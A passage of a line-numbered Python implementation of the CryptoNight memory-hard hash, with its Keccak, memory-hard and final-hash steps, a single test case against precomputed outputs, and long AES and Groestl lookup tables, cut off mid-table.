642 | if(not quiet):
643 | print("Keccac..")
644 | # Padding
645 | inp = inp + [0x01] + [0x00]*58 + [0x80] + [0x00]*64
646 | kec = keccak(inp)
647 |
648 | # Equivalent to VARIANT*INIT* in C. Stores the last 8 bytes after
649 | # keccak xor the current Nonce, which will later be xored in thoughout
650 | # the memhard loop (in the equivalent of VARIANT1_2).
651 | if variant:
652 | tw = [a^b for (a,b) in zip(kec[192:],inp[35:35+8])]
653 |
654 | if(not quiet):
655 | print("Expanding scratchpad..")
656 | pad = asplode(kec)
657 | if(not quiet):
658 | print("Memhard..")
659 | memhrd(pad, kec, variant, tw)
660 | if(not quiet):
661 | print("Imploding..")
662 | imp = implode(pad, kec)
663 | if(not quiet):
664 | print("Keccac again..")
665 | kec = keccak(imp)
666 |
667 | h = kec[0]&3
668 | if h==0:
669 | if(not quiet):
670 | print("Blake..")
671 | r = blake(kec)
672 | elif h==1:
673 | if(not quiet):
674 | print("Groestl..")
675 | r = groestl(kec)
676 | elif h==2:
677 | if(not quiet):
678 | print("Jh..")
679 | r = jh(kec)
680 | else:
681 | if(not quiet):
682 | print("Skein..")
683 | r = skein(kec)
684 |
685 | return r
686 |
687 |
688 | def slow_hash_glue_func(output_buffer, inp_data_intli_form, input_len):
689 | tmp_res = cn_slow_hash(inp_data_intli_form, quiet=1, variant=1)
690 | for k in range(len(output_buffer)): # regular copy
691 | output_buffer[k] = tmp_res[k]
692 |
693 |
694 | import time # only used in main
695 |
696 | # run_tests(). This runs a single case and checks it against one of two
697 | # precalculated results depending on "variant". This isn't particularly
698 | # sufficient for testing it, but it's at least a single runnable example
699 |
700 | def run_tests():
701 | inp = [
702 | 0x05, 0x05, 0x84, 0xe2, 0xfa, 0xcc, 0x05, 0xfe,
703 | 0x5c, 0x31, 0x96, 0xe9, 0x95, 0xae, 0x88, 0x31,
704 | 0x0b, 0xa8, 0x6e, 0xae, 0x4a, 0xb6, 0x25, 0xab,
705 | 0xd2, 0x6e, 0x19, 0x2f, 0x26, 0xf3, 0x2c, 0x7d,
706 |
707 | 0xcb, 0x6d, 0xb1, 0xd1, 0x08, 0xd7, 0x68, 0x5d,
708 | 0x00, 0x08, 0x57, 0xd6, 0x62, 0xea, 0x60, 0x02,
709 | 0xe5, 0x19, 0xa2, 0x76, 0xb9, 0xd6, 0x9a, 0xb9,
710 | 0xf0, 0xdf, 0x14, 0xc9, 0xf5, 0x86, 0xe1, 0x1a,
711 |
712 | 0xe4, 0x57, 0xb1, 0xb5, 0x74, 0x05, 0xaf, 0xbf,
713 | 0x9c, 0xc0, 0xcb, 0x06 ]
714 |
715 | st = time.time()
716 | variant = 1 # change to run other version
717 |
718 | r = cn_slow_hash(inp, False, variant)
719 |
720 | et = time.time()
721 |
722 | print(' '.join("%.2x"%(a) for a in r))
723 | print("Total %ds (%f H/s)"%(et-st, 1./(et-st)))
724 | correct_result_old = [0x2a,0x26,0x47,0x75,0x7c,0xf6,0x20,0xa9,0x9a,0xf4,0xf8,0x3f,0xe5,0x9f,0x98,0x5d,0x3e,0x3b,0x8d,0x63,0xa7,0x5e,0x01,0x20,0x75,0x6f,0x8b,0xff,0xa4,0x8e,0x00,0x00]
725 | correct_result_new = [0xfc,0x24,0x23,0x8f,0x96,0x0c,0x14,0x72,0x73,0x86,0x29,0x5b,0xd0,0xfc,0xec,0xba,0xce,0x8f,0x2a,0xef,0x74,0xad,0x71,0x08,0x77,0x1c,0x7c,0x83,0x2b,0x0a,0x9f,0x00]
726 |
727 | if variant:
728 | print("Pass" if correct_result_new==r else "Fail")
729 | else:
730 | print("Pass" if correct_result_old==r else "Fail")
731 |
732 | # Constants ahoy!
733 |
734 | # Tboxes, Sbox (generated from TBox), Blake and Groestl constant lists
735 | # Other constants are sprinkled thought their respective functions, these
736 | # are here to somewhat improve readabillity.
737 |
738 | # There's nothing below them besides the if __name__.. to call main
739 | S1 = [0xa56363c6,0x847c7cf8,0x997777ee,0x8d7b7bf6,0x0df2f2ff,0xbd6b6bd6,0xb16f6fde,0x54c5c591,0x50303060,0x03010102,0xa96767ce,0x7d2b2b56,0x19fefee7,0x62d7d7b5,0xe6abab4d,0x9a7676ec,0x45caca8f,0x9d82821f,0x40c9c989,0x877d7dfa,0x15fafaef,0xeb5959b2,0xc947478e,0x0bf0f0fb,0xecadad41,0x67d4d4b3,0xfda2a25f,0xeaafaf45,0xbf9c9c23,0xf7a4a453,0x967272e4,0x5bc0c09b,0xc2b7b775,0x1cfdfde1,0xae93933d,0x6a26264c,0x5a36366c,0x413f3f7e,0x02f7f7f5,0x4fcccc83,0x5c343468,0xf4a5a551,0x34e5e5d1,0x08f1f1f9,0x937171e2,0x73d8d8ab,0x53313162,0x3f15152a,0x0c040408,0x52c7c795,0x65232346,0x5ec3c39d,0x28181830,0xa1969637,0x0f05050a,0xb59a9a2f,0x0907070e,0x36121224,0x9b80801b,0x3de2e2df,0x26ebebcd,0x6927274e,0xcdb2b27f,0x9f7575ea,0x1b090912,0x9e83831d,0x742c2c58,0x2e1a1a34,0x2d1b1b36,0xb26e6edc,0xee5a5ab4,0xfba0a05b,0xf65252a4,0x4d3b3b76,0x61d6d6b7,0xceb3b37d,0x7b292952,0x3ee3e3dd,0x712f2f5e,0x97848413,0xf55353a6,0x68d1d1b9,0x00000000,0x2cededc1,0x60202040,0x1ffcfce3,0xc8b1b179,0xed5b5bb6,0xbe6a6ad4,0x46cbcb8d,0xd9bebe67,0x4b393972,0xde4a4a94,0xd44c4c98,0xe85858b0,0x4acfcf85,0x6bd0d0bb,0x2aefefc5,0xe5aaaa4f,0x16fbfbed,0xc5434386,0xd74d4d9a,0x55333366,0x94858511,0xcf45458a,0x10f9f9e9,0x06020204,0x817f7ffe,0xf05050a0,0x443c3c78,0xba9f9f25,0xe3a8a84b,0xf35151a2,0xfea3a35d,0xc0404080,0x8a8f8f05,0xad92923f,0xbc9d9d21,0x48383870,0x04f5f5f1,0xdfbcbc63,0xc1b6b677,0x75dadaaf,0x63212142,0x30101020,0x1affffe5,0x0ef3f3fd,0x6dd2d2bf,0x4ccdcd81,0x140c0c18,0x35131326,0x2fececc3,0xe15f5fbe,0xa2979735,0xcc444488,0x3917172e,0x57c4c493,0xf2a7a755,0x827e7efc,0x473d3d7a,0xac6464c8,0xe75d5dba,0x2b191932,0x957373e6,0xa06060c0,0x98818119,0xd14f4f9e,0x7fdcdca3,0x66222244,0x7e2a2a54,0xab90903b,0x8388880b,0xca46468c,0x29eeeec7,0xd3b8b86b,0x3c141428,0x79dedea7,0xe25e5ebc,0x1d0b0b16,0x76dbdbad,0x3be0e0db,0x56323264,0x4e3a3a74,0x1e0a0a14,0xdb494992,0x0a06060c,0x6c242448,0xe45c5cb8,0x5dc2c29f,0x6ed3d3bd,0xefacac43,0xa66262c4,0xa8919139,0xa4959531,0x37e4e4d3,0x8b7979f2,0x32e7e7d5,0x43c8c88b,0x5937376e,0xb76d6dda,0x8c8d8d01,0x64d5d5b1,0xd24e4e9c,0xe0a9a949,0xb46c6cd8,0xfa5656ac,0x07f4f4f3,0x25eaeacf,0xaf6565ca,0x8e7a7af4,0xe9aeae47,0x18080810,0xd5baba6f,0x887878f0,0x6f25254a,0x722e2e5c,0x241c1c38,0xf1a6a657,0xc7b4b473,0x51c6c697,0x23e8e8cb,0x7cdddda1,0x9c7474e8,0x211f1f3e,0xdd4b4b96,0xdcbdbd61,0x868b8b0d,0x858a8a0f,0x907070e0,0x423e3e7c,0xc4b5b571,0xaa6666cc,0xd8484890,0x05030306,0x01f6f6f7,0x120e0e1c,0xa36161c2,0x5f35356a,0xf95757ae,0xd0b9b969,0x91868617,0x58c1c199,0x271d1d3a,0xb99e9e27,0x38e1e1d9,0x13f8f8eb,0xb398982b,0x33111122,0xbb6969d2,0x70d9d9a9,0x898e8e07,0xa7949433,0xb69b9b2d,0x221e1e3c,0x92878715,0x20e9e9c9,0x49cece87,0xff5555aa,0x78282850,0x7adfdfa5,0x8f8c8c03,0xf8a1a159,0x80898909,0x170d0d1a,0xdabfbf65,0x31e6e6d7,0xc6424284,0xb86868d0,0xc3414182,0xb0999929,0x772d2d5a,0x110f0f1e,0xcbb0b07b,0xfc5454a8,0xd6bbbb6d,0x3a16162c]
740 | S2 = [0x6363c6a5,0x7c7cf884,0x7777ee99,0x7b7bf68d,0xf2f2ff0d,0x6b6bd6bd,0x6f6fdeb1,0xc5c59154,0x30306050,0x01010203,0x6767cea9,0x2b2b567d,0xfefee719,0xd7d7b562,0xabab4de6,0x7676ec9a,0xcaca8f45,0x82821f9d,0xc9c98940,0x7d7dfa87,0xfafaef15,0x5959b2eb,0x47478ec9,0xf0f0fb0b,0xadad41ec,0xd4d4b367,0xa2a25ffd,0xafaf45ea,0x9c9c23bf,0xa4a453f7,0x7272e496,0xc0c09b5b,0xb7b775c2,0xfdfde11c,0x93933dae,0x26264c6a,0x36366c5a,0x3f3f7e41,0xf7f7f502,0xcccc834f,0x3434685c,0xa5a551f4,0xe5e5d134,0xf1f1f908,0x7171e293,0xd8d8ab73,0x31316253,0x15152a3f,0x0404080c,0xc7c79552,0x23234665,0xc3c39d5e,0x18183028,0x969637a1,0x05050a0f,0x9a9a2fb5,0x07070e09,0x12122436,0x80801b9b,0xe2e2df3d,0xebebcd26,0x27274e69,0xb2b27fcd,0x7575ea9f,0x0909121b,0x83831d9e,0x2c2c5874,0x1a1a342e,0x1b1b362d,0x6e6edcb2,0x5a5ab4ee,0xa0a05bfb,0x5252a4f6,0x3b3b764d,0xd6d6b761,0xb3b37dce,0x2929527b,0xe3e3dd3e,0x2f2f5e71,0x84841397,0x5353a6f5,0xd1d1b968,0x00000000,0xededc12c,0x20204060,0xfcfce31f,0xb1b179c8,0x5b5bb6ed,0x6a6ad4be,0xcbcb8d46,0xbebe67d9,0x3939724b,0x4a4a94de,0x4c4c98d4,0x5858b0e8,0xcfcf854a,0xd0d0bb6b,0xefefc52a,0xaaaa4fe5,0xfbfbed16,0x434386c5,0x4d4d9ad7,0x33336655,0x85851194,0x45458acf,0xf9f9e910,0x02020406,0x7f7ffe81,0x5050a0f0,0x3c3c7844,0x9f9f25ba,0xa8a84be3,0x5151a2f3,0xa3a35dfe,0x404080c0,0x8f8f058a,0x92923fad,0x9d9d21bc,0x38387048,0xf5f5f104,0xbcbc63df,0xb6b677c1,0xdadaaf75,0x21214263,0x10102030,0xffffe51a,0xf3f3fd0e,0xd2d2bf6d,0xcdcd814c,0x0c0c1814,0x13132635,0xececc32f,0x5f5fbee1,0x979735a2,0x444488cc,0x17172e39,0xc4c49357,0xa7a755f2,0x7e7efc82,0x3d3d7a47,0x6464c8ac,0x5d5dbae7,0x1919322b,0x7373e695,0x6060c0a0,0x81811998,0x4f4f9ed1,0xdcdca37f,0x22224466,0x2a2a547e,0x90903bab,0x88880b83,0x46468cca,0xeeeec729,0xb8b86bd3,0x1414283c,0xdedea779,0x5e5ebce2,0x0b0b161d,0xdbdbad76,0xe0e0db3b,0x32326456,0x3a3a744e,0x0a0a141e,0x494992db,0x06060c0a,0x2424486c,0x5c5cb8e4,0xc2c29f5d,0xd3d3bd6e,0xacac43ef,0x6262c4a6,0x919139a8,0x959531a4,0xe4e4d337,0x7979f28b,0xe7e7d532,0xc8c88b43,0x37376e59,0x6d6ddab7,0x8d8d018c,0xd5d5b164,0x4e4e9cd2,0xa9a949e0,0x6c6cd8b4,0x5656acfa,0xf4f4f307,0xeaeacf25,0x6565caaf,0x7a7af48e,0xaeae47e9,0x08081018,0xbaba6fd5,0x7878f088,0x25254a6f,0x2e2e5c72,0x1c1c3824,0xa6a657f1,0xb4b473c7,0xc6c69751,0xe8e8cb23,0xdddda17c,0x7474e89c,0x1f1f3e21,0x4b4b96dd,0xbdbd61dc,0x8b8b0d86,0x8a8a0f85,0x7070e090,0x3e3e7c42,0xb5b571c4,0x6666ccaa,0x484890d8,0x03030605,0xf6f6f701,0x0e0e1c12,0x6161c2a3,0x35356a5f,0x5757aef9,0xb9b969d0,0x86861791,0xc1c19958,0x1d1d3a27,0x9e9e27b9,0xe1e1d938,0xf8f8eb13,0x98982bb3,0x11112233,0x6969d2bb,0xd9d9a970,0x8e8e0789,0x949433a7,0x9b9b2db6,0x1e1e3c22,0x87871592,0xe9e9c920,0xcece8749,0x5555aaff,0x28285078,0xdfdfa57a,0x8c8c038f,0xa1a159f8,0x89890980,0x0d0d1a17,0xbfbf65da,0xe6e6d731,0x424284c6,0x6868d0b8,0x414182c3,0x999929b0,0x2d2d5a77,0x0f0f1e11,0xb0b07bcb,0x5454a8fc,0xbbbb6dd6,0x16162c3a]
741 | S3 = [0x63c6a563,0x7cf8847c,0x77ee9977,0x7bf68d7b,0xf2ff0df2,0x6bd6bd6b,0x6fdeb16f,0xc59154c5,0x30605030,0x01020301,0x67cea967,0x2b567d2b,0xfee719fe,0xd7b562d7,0xab4de6ab,0x76ec9a76,0xca8f45ca,0x821f9d82,0xc98940c9,0x7dfa877d,0xfaef15fa,0x59b2eb59,0x478ec947,0xf0fb0bf0,0xad41ecad,0xd4b367d4,0xa25ffda2,0xaf45eaaf,0x9c23bf9c,0xa453f7a4,0x72e49672,0xc09b5bc0,0xb775c2b7,0xfde11cfd,0x933dae93,0x264c6a26,0x366c5a36,0x3f7e413f,0xf7f502f7,0xcc834fcc,0x34685c34,0xa551f4a5,0xe5d134e5,0xf1f908f1,0x71e29371,0xd8ab73d8,0x31625331,0x152a3f15,0x04080c04,0xc79552c7,0x23466523,0xc39d5ec3,0x18302818,0x9637a196,0x050a0f05,0x9a2fb59a,0x070e0907,0x12243612,0x801b9b80,0xe2df3de2,0xebcd26eb,0x274e6927,0xb27fcdb2,0x75ea9f75,0x09121b09,0x831d9e83,0x2c58742c,0x1a342e1a,0x1b362d1b,0x6edcb26e,0x5ab4ee5a,0xa05bfba0,0x52a4f652,0x3b764d3b,0xd6b761d6,0xb37dceb3,0x29527b29,0xe3dd3ee3,0x2f5e712f,0x84139784,0x53a6f553,0xd1b968d1,0x00000000,0xedc12ced,0x20406020,0xfce31ffc,0xb179c8b1,0x5bb6ed5b,0x6ad4be6a,0xcb8d46cb,0xbe67d9be,0x39724b39,0x4a94de4a,0x4c98d44c,0x58b0e858,0xcf854acf,0xd0bb6bd0,0xefc52aef,0xaa4fe5aa,0xfbed16fb,0x4386c543,0x4d9ad74d,0x33665533,0x85119485,0x458acf45,0xf9e910f9,0x02040602,0x7ffe817f,0x50a0f050,0x3c78443c,0x9f25ba9f,0xa84be3a8,0x51a2f351,0xa35dfea3,0x4080c040,0x8f058a8f,0x923fad92,0x9d21bc9d,0x38704838,0xf5f104f5,0xbc63dfbc,0xb677c1b6,0xdaaf75da,0x21426321,0x10203010,0xffe51aff,0xf3fd0ef3,0xd2bf6dd2,0xcd814ccd,0x0c18140c,0x13263513,0xecc32fec,0x5fbee15f,0x9735a297,0x4488cc44,0x172e3917,0xc49357c4,0xa755f2a7,0x7efc827e,0x3d7a473d,0x64c8ac64,0x5dbae75d,0x19322b19,0x73e69573,0x60c0a060,0x81199881,0x4f9ed14f,0xdca37fdc,0x22446622,0x2a547e2a,0x903bab90,0x880b8388,0x468cca46,0xeec729ee,0xb86bd3b8,0x14283c14,0xdea779de,0x5ebce25e,0x0b161d0b,0xdbad76db,0xe0db3be0,0x32645632,0x3a744e3a,0x0a141e0a,0x4992db49,0x060c0a06,0x24486c24,0x5cb8e45c,0xc29f5dc2,0xd3bd6ed3,0xac43efac,0x62c4a662,0x9139a891,0x9531a495,0xe4d337e4,0x79f28b79,0xe7d532e7,0xc88b43c8,0x376e5937,0x6ddab76d,0x8d018c8d,0xd5b164d5,0x4e9cd24e,0xa949e0a9,0x6cd8b46c,0x56acfa56,0xf4f307f4,0xeacf25ea,0x65caaf65,0x7af48e7a,0xae47e9ae,0x08101808,0xba6fd5ba,0x78f08878,0x254a6f25,0x2e5c722e,0x1c38241c,0xa657f1a6,0xb473c7b4,0xc69751c6,0xe8cb23e8,0xdda17cdd,0x74e89c74,0x1f3e211f,0x4b96dd4b,0xbd61dcbd,0x8b0d868b,0x8a0f858a,0x70e09070,0x3e7c423e,0xb571c4b5,0x66ccaa66,0x4890d848,0x03060503,0xf6f701f6,0x0e1c120e,0x61c2a361,0x356a5f35,0x57aef957,0xb969d0b9,0x86179186,0xc19958c1,0x1d3a271d,0x9e27b99e,0xe1d938e1,0xf8eb13f8,0x982bb398,0x11223311,0x69d2bb69,0xd9a970d9,0x8e07898e,0x9433a794,0x9b2db69b,0x1e3c221e,0x87159287,0xe9c920e9,0xce8749ce,0x55aaff55,0x28507828,0xdfa57adf,0x8c038f8c,0xa159f8a1,0x89098089,0x0d1a170d,0xbf65dabf,0xe6d731e6,0x4284c642,0x68d0b868,0x4182c341,0x9929b099,0x2d5a772d,0x0f1e110f,0xb07bcbb0,0x54a8fc54,0xbb6dd6bb,0x162c3a16]
742 | S4 = [0xc6a56363,0xf8847c7c,0xee997777,0xf68d7b7b,0xff0df2f2,0xd6bd6b6b,0xdeb16f6f,0x9154c5c5,0x60503030,0x02030101,0xcea96767,0x567d2b2b,0xe719fefe,0xb562d7d7,0x4de6abab,0xec9a7676,0x8f45caca,0x1f9d8282,0x8940c9c9,0xfa877d7d,0xef15fafa,0xb2eb5959,0x8ec94747,0xfb0bf0f0,0x41ecadad,0xb367d4d4,0x5ffda2a2,0x45eaafaf,0x23bf9c9c,0x53f7a4a4,0xe4967272,0x9b5bc0c0,0x75c2b7b7,0xe11cfdfd,0x3dae9393,0x4c6a2626,0x6c5a3636,0x7e413f3f,0xf502f7f7,0x834fcccc,0x685c3434,0x51f4a5a5,0xd134e5e5,0xf908f1f1,0xe2937171,0xab73d8d8,0x62533131,0x2a3f1515,0x080c0404,0x9552c7c7,0x46652323,0x9d5ec3c3,0x30281818,0x37a19696,0x0a0f0505,0x2fb59a9a,0x0e090707,0x24361212,0x1b9b8080,0xdf3de2e2,0xcd26ebeb,0x4e692727,0x7fcdb2b2,0xea9f7575,0x121b0909,0x1d9e8383,0x58742c2c,0x342e1a1a,0x362d1b1b,0xdcb26e6e,0xb4ee5a5a,0x5bfba0a0,0xa4f65252,0x764d3b3b,0xb761d6d6,0x7dceb3b3,0x527b2929,0xdd3ee3e3,0x5e712f2f,0x13978484,0xa6f55353,0xb968d1d1,0x00000000,0xc12ceded,0x40602020,0xe31ffcfc,0x79c8b1b1,0xb6ed5b5b,0xd4be6a6a,0x8d46cbcb,0x67d9bebe,0x724b3939,0x94de4a4a,0x98d44c4c,0xb0e85858,0x854acfcf,0xbb6bd0d0,0xc52aefef,0x4fe5aaaa,0xed16fbfb,0x86c54343,0x9ad74d4d,0x66553333,0x11948585,0x8acf4545,0xe910f9f9,0x04060202,0xfe817f7f,0xa0f05050,0x78443c3c,0x25ba9f9f,0x4be3a8a8,0xa2f35151,0x5dfea3a3,0x80c04040,0x058a8f8f,0x3fad9292,0x21bc9d9d,0x70483838,0xf104f5f5,0x63dfbcbc,0x77c1b6b6,0xaf75dada,0x42632121,0x20301010,0xe51affff,0xfd0ef3f3,0xbf6dd2d2,0x814ccdcd,0x18140c0c,0x26351313,0xc32fecec,0xbee15f5f,0x35a29797,0x88cc4444,0x2e391717,0x9357c4c4,0x55f2a7a7,0xfc827e7e,0x7a473d3d,0xc8ac6464,0xbae75d5d,0x322b1919,0xe6957373,0xc0a06060,0x19988181,0x9ed14f4f,0xa37fdcdc,0x44662222,0x547e2a2a,0x3bab9090,0x0b838888,0x8cca4646,0xc729eeee,0x6bd3b8b8,0x283c1414,0xa779dede,0xbce25e5e,0x161d0b0b,0xad76dbdb,0xdb3be0e0,0x64563232,0x744e3a3a,0x141e0a0a,0x92db4949,0x0c0a0606,0x486c2424,0xb8e45c5c,0x9f5dc2c2,0xbd6ed3d3,0x43efacac,0xc4a66262,0x39a89191,0x31a49595,0xd337e4e4,0xf28b7979,0xd532e7e7,0x8b43c8c8,0x6e593737,0xdab76d6d,0x018c8d8d,0xb164d5d5,0x9cd24e4e,0x49e0a9a9,0xd8b46c6c,0xacfa5656,0xf307f4f4,0xcf25eaea,0xcaaf6565,0xf48e7a7a,0x47e9aeae,0x10180808,0x6fd5baba,0xf0887878,0x4a6f2525,0x5c722e2e,0x38241c1c,0x57f1a6a6,0x73c7b4b4,0x9751c6c6,0xcb23e8e8,0xa17cdddd,0xe89c7474,0x3e211f1f,0x96dd4b4b,0x61dcbdbd,0x0d868b8b,0x0f858a8a,0xe0907070,0x7c423e3e,0x71c4b5b5,0xccaa6666,0x90d84848,0x06050303,0xf701f6f6,0x1c120e0e,0xc2a36161,0x6a5f3535,0xaef95757,0x69d0b9b9,0x17918686,0x9958c1c1,0x3a271d1d,0x27b99e9e,0xd938e1e1,0xeb13f8f8,0x2bb39898,0x22331111,0xd2bb6969,0xa970d9d9,0x07898e8e,0x33a79494,0x2db69b9b,0x3c221e1e,0x15928787,0xc920e9e9,0x8749cece,0xaaff5555,0x50782828,0xa57adfdf,0x038f8c8c,0x59f8a1a1,0x09808989,0x1a170d0d,0x65dabfbf,0xd731e6e6,0x84c64242,0xd0b86868,0x82c34141,0x29b09999,0x5a772d2d,0x1e110f0f,0x7bcbb0b0,0xa8fc5454,0x6dd6bbbb,0x2c3a1616]
743 | SBox = [a&255 for a in S3]
744 |
745 | groestlT = [
746 | 0xa5f432c6,0x84976ff8,0x99b05eee,0x8d8c7af6,0x0d17e8ff,0xbddc0ad6,0xb1c816de,0x54fc6d91,0x50f09060,0x03050702,0xa9e02ece,0x7d87d156,0x192bcce7,0x62a613b5,0xe6317c4d,0x9ab559ec,0x45cf408f,0x9dbca31f,0x40c04989,0x879268fa,0x153fd0ef,0xeb2694b2,0xc940ce8e,0x0b1de6fb,0xec2f6e41,0x67a91ab3,0xfd1c435f,0xea256045,0xbfdaf923,0xf7025153,0x96a145e4,0x5bed769b,0xc25d2875,0x1c24c5e1,0xaee9d43d,0x6abef24c,0x5aee826c,0x41c3bd7e,0x0206f3f5,0x4fd15283,0x5ce48c68,0xf4075651,0x345c8dd1,0x0818e1f9,0x93ae4ce2,0x73953eab,0x53f59762,0x3f416b2a,0x0c141c08,0x52f66395,0x65afe946,0x5ee27f9d,0x28784830,0xa1f8cf37,0x0f111b0a,0xb5c4eb2f,0x091b150e,0x365a7e24,0x9bb6ad1b,0x3d4798df,0x266aa7cd,0x69bbf54e,0xcd4c337f,0x9fba50ea,0x1b2d3f12,0x9eb9a41d,0x749cc458,0x2e724634,0x2d774136,0xb2cd11dc,0xee299db4,0xfb164d5b,0xf601a5a4,0x4dd7a176,0x61a314b7,0xce49347d,0x7b8ddf52,0x3e429fdd,0x7193cd5e,0x97a2b113,0xf504a2a6,0x68b801b9,0x00000000,0x2c74b5c1,0x60a0e040,0x1f21c2e3,0xc8433a79,0xed2c9ab6,0xbed90dd4,0x46ca478d,0xd9701767,0x4bddaf72,0xde79ed94,0xd467ff98,0xe82393b0,0x4ade5b85,0x6bbd06bb,0x2a7ebbc5,0xe5347b4f,0x163ad7ed,0xc554d286,0xd762f89a,0x55ff9966,0x94a7b611,0xcf4ac08a,0x1030d9e9,0x060a0e04,0x819866fe,0xf00baba0,0x44ccb478,0xbad5f025,0xe33e754b,0xf30eaca2,0xfe19445d,0xc05bdb80,0x8a858005,0xadecd33f,0xbcdffe21,0x48d8a870,0x040cfdf1,0xdf7a1963,0xc1582f77,0x759f30af,0x63a5e742,0x30507020,0x1a2ecbe5,0x0e12effd,0x6db708bf,0x4cd45581,0x143c2418,0x355f7926,0x2f71b2c3,0xe13886be,0xa2fdc835,0xcc4fc788,0x394b652e,0x57f96a93,0xf20d5855,0x829d61fc,0x47c9b37a,0xacef27c8,0xe73288ba,0x2b7d4f32,0x95a442e6,0xa0fb3bc0,0x98b3aa19,0xd168f69e,0x7f8122a3,0x66aaee44,0x7e82d654,0xabe6dd3b,0x839e950b,0xca45c98c,0x297bbcc7,0xd36e056b,0x3c446c28,0x798b2ca7,0xe23d81bc,0x1d273116,0x769a37ad,0x3b4d96db,0x56fa9e64,0x4ed2a674,0x1e223614,0xdb76e492,0x0a1e120c,0x6cb4fc48,0xe4378fb8,0x5de7789f,0x6eb20fbd,0xef2a6943,0xa6f135c4,0xa8e3da39,0xa4f7c631,0x37598ad3,0x8b8674f2,0x325683d5,0x43c54e8b,0x59eb856e,0xb7c218da,0x8c8f8e01,0x64ac1db1,0xd26df19c,0xe03b7249,0xb4c71fd8,0xfa15b9ac,0x0709faf3,0x256fa0cf,0xafea20ca,0x8e897df4,0xe9206747,0x18283810,0xd5640b6f,0x888373f0,0x6fb1fb4a,0x7296ca5c,0x246c5438,0xf1085f57,0xc7522173,0x51f36497,0x2365aecb,0x7c8425a1,0x9cbf57e8,0x21635d3e,0xdd7cea96,0xdc7f1e61,0x86919c0d,0x85949b0f,0x90ab4be0,0x42c6ba7c,0xc4572671,0xaae529cc,0xd873e390,0x050f0906,0x0103f4f7,0x12362a1c,0xa3fe3cc2,0x5fe18b6a,0xf910beae,0xd06b0269,0x91a8bf17,0x58e87199,0x2769533a,0xb9d0f727,0x384891d9,0x1335deeb,0xb3cee52b,0x33557722,0xbbd604d2,0x709039a9,0x89808707,0xa7f2c133,0xb6c1ec2d,0x22665a3c,0x92adb815,0x2060a9c9,0x49db5c87,0xff1ab0aa,0x7888d850,0x7a8e2ba5,0x8f8a8903,0xf8134a59,0x809b9209,0x1739231a,0xda751065,0x315384d7,0xc651d584,0xb8d303d0,0xc35edc82,0xb0cbe229,0x7799c35a,0x11332d1e,0xcb463d7b,0xfc1fb7a8,0xd6610c6d,0x3a4e622c,
747 | 0xf432c6c6,0x976ff8f8,0xb05eeeee,0x8c7af6f6,0x17e8ffff,0xdc0ad6d6,0xc816dede,0xfc6d9191,0xf0906060,0x05070202,0xe02ecece,0x87d15656,0x2bcce7e7,0xa613b5b5,0x317c4d4d,0xb559ecec,0xcf408f8f,0xbca31f1f,0xc0498989,0x9268fafa,0x3fd0efef,0x2694b2b2,0x40ce8e8e,0x1de6fbfb,0x2f6e4141,0xa91ab3b3,0x1c435f5f,0x25604545,0xdaf92323,0x02515353,0xa145e4e4,0xed769b9b,0x5d287575,0x24c5e1e1,0xe9d43d3d,0xbef24c4c,0xee826c6c,0xc3bd7e7e,0x06f3f5f5,0xd1528383,0xe48c6868,0x07565151,0x5c8dd1d1,0x18e1f9f9,0xae4ce2e2,0x953eabab,0xf5976262,0x416b2a2a,0x141c0808,0xf6639595,0xafe94646,0xe27f9d9d,0x78483030,0xf8cf3737,0x111b0a0a,0xc4eb2f2f,0x1b150e0e,0x5a7e2424,0xb6ad1b1b,0x4798dfdf,0x6aa7cdcd,0xbbf54e4e,0x4c337f7f,0xba50eaea,0x2d3f1212,0xb9a41d1d,0x9cc45858,0x72463434,0x77413636,0xcd11dcdc,0x299db4b4,0x164d5b5b,0x01a5a4a4,0xd7a17676,0xa314b7b7,0x49347d7d,0x8ddf5252,0x429fdddd,0x93cd5e5e,0xa2b11313,0x04a2a6a6,0xb801b9b9,0x00000000,0x74b5c1c1,0xa0e04040,0x21c2e3e3,0x433a7979,0x2c9ab6b6,0xd90dd4d4,0xca478d8d,0x70176767,0xddaf7272,0x79ed9494,0x67ff9898,0x2393b0b0,0xde5b8585,0xbd06bbbb,0x7ebbc5c5,0x347b4f4f,0x3ad7eded,0x54d28686,0x62f89a9a,0xff996666,0xa7b61111,0x4ac08a8a,0x30d9e9e9,0x0a0e0404,0x9866fefe,0x0baba0a0,0xccb47878,0xd5f02525,0x3e754b4b,0x0eaca2a2,0x19445d5d,0x5bdb8080,0x85800505,0xecd33f3f,0xdffe2121,0xd8a87070,0x0cfdf1f1,0x7a196363,0x582f7777,0x9f30afaf,0xa5e74242,0x50702020,0x2ecbe5e5,0x12effdfd,0xb708bfbf,0xd4558181,0x3c241818,0x5f792626,0x71b2c3c3,0x3886bebe,0xfdc83535,0x4fc78888,0x4b652e2e,0xf96a9393,0x0d585555,0x9d61fcfc,0xc9b37a7a,0xef27c8c8,0x3288baba,0x7d4f3232,0xa442e6e6,0xfb3bc0c0,0xb3aa1919,0x68f69e9e,0x8122a3a3,0xaaee4444,0x82d65454,0xe6dd3b3b,0x9e950b0b,0x45c98c8c,0x7bbcc7c7,0x6e056b6b,0x446c2828,0x8b2ca7a7,0x3d81bcbc,0x27311616,0x9a37adad,0x4d96dbdb,0xfa9e6464,0xd2a67474,0x22361414,0x76e49292,0x1e120c0c,0xb4fc4848,0x378fb8b8,0xe7789f9f,0xb20fbdbd,0x2a694343,0xf135c4c4,0xe3da3939,0xf7c63131,0x598ad3d3,0x8674f2f2,0x5683d5d5,0xc54e8b8b,0xeb856e6e,0xc218dada,0x8f8e0101,0xac1db1b1,0x6df19c9c,0x3b724949,0xc71fd8d8,0x15b9acac,0x09faf3f3,0x6fa0cfcf,0xea20caca,0x897df4f4,0x20674747,0x28381010,0x640b6f6f,0x8373f0f0,0xb1fb4a4a,0x96ca5c5c,0x6c543838,0x085f5757,0x52217373,0xf3649797,0x65aecbcb,0x8425a1a1,0xbf57e8e8,0x635d3e3e,0x7cea9696,0x7f1e6161,0x919c0d0d,0x949b0f0f,0xab4be0e0,0xc6ba7c7c,0x57267171,0xe529cccc,0x73e39090,0x0f090606,0x03f4f7f7,0x362a1c1c,0xfe3cc2c2,0xe18b6a6a,0x10beaeae,0x6b026969,0xa8bf1717,0xe8719999,0x69533a3a,0xd0f72727,0x4891d9d9,0x35deebeb,0xcee52b2b,0x55772222,0xd604d2d2,0x9039a9a9,0x80870707,0xf2c13333,0xc1ec2d2d,0x665a3c3c,0xadb81515,0x60a9c9c9,0xdb5c8787,0x1ab0aaaa,0x88d85050,0x8e2ba5a5,0x8a890303,0x134a5959,0x9b920909,0x39231a1a,0x75106565,0x5384d7d7,0x51d